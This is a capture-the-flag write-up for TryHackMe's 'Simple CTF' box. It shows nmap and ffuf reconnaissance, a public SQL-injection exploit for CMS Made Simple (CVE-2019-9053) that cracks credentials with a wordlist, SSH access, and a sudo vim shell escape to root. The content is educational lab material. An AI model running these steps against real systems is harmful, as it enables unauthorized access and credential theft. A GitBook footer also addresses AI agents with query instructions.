> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/cybersecurity-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/cybersecurity-writeups/tryhackme/simple-ctf-tryhackme.md).

# Simple CTF (TryHackMe)

### 🧭 Overview

* Platform: TryHackMe
* Focus: Web Exploitation + Privilege Escalation
* OS: Linux

***

### 🔍 Reconnaissance

#### Nmap Scan

```bash
nmap -sC -sV -A <IP>
```

#### Findings:

* Port 80 → HTTP
* Port 2222 → SSH
* OS → Linux (Ubuntu)

#### Nmap Output

![Nmap Scan](https://github.com/Ganesha-hk/CTF_Writeups_Simple-ctf/blob/main/Simple-ctf/Images/enu.jpeg?raw=true)

***

### 🔎 Enumeration

#### Directory Fuzzing

```bash
ffuf -w /path/to/SecLists/common.txt -u http://<IP>/FUZZ
```

#### Discovered:

* `/simple`

#### FFUF Output

![FFUF](https://github.com/Ganesha-hk/CTF_Writeups_Simple-ctf/blob/main/Simple-ctf/Images/ffuf.jpeg?raw=true)

***

### ⚙️ Technology Identified

* CMS: **CMS Made Simple**

***

### 💥 Initial Access

#### Vulnerability:

* SQL Injection (CVE-2019-9053)

#### Exploit:

Use public exploit (Python2):

```bash
python2 exploit.py -u http://<IP>/simple --crack -w /path/to/rockyou.txt
```

#### Result:

* Extracted credentials:
  * Username
  * Password
  * Email

#### Exploit Output

![SQLi Exploit](https://github.com/Ganesha-hk/CTF_Writeups_Simple-ctf/blob/main/Simple-ctf/Images/ap3.jpeg?raw=true)

***

### 🔑 Gaining Access

Login via SSH:

```bash
ssh mitch@<IP> -p 2222
```

#### Result:

* Initial shell obtained

![SSH Access](https://github.com/Ganesha-hk/CTF_Writeups_Simple-ctf/blob/main/Simple-ctf/Images/ap1.jpeg?raw=true)

***

### 🔐 Privilege Escalation

#### Enumeration:

```bash
sudo -l
```

#### Finding:

* `/usr/bin/vim` can run as root without password

#### Exploit:

```bash
sudo vim -c ':!/bin/sh -p'
```

#### Result:

* Root shell obtained

![Root Access](https://github.com/Ganesha-hk/CTF_Writeups_Simple-ctf/blob/main/Simple-ctf/Images/ap6.jpeg?raw=true)

***

### 🎯 Key Takeaways

* Outdated CMS can lead to SQL injection vulnerabilities
* Always check for public exploits (Exploit-DB)
* Misconfigured sudo permissions can lead to full system compromise

***

### ⚠ Disclaimer

This writeup is for educational purposes only.\
All activities were performed in authorized lab environments.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ganesha-hk.gitbook.io/cybersecurity-writeups/tryhackme/simple-ctf-tryhackme.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
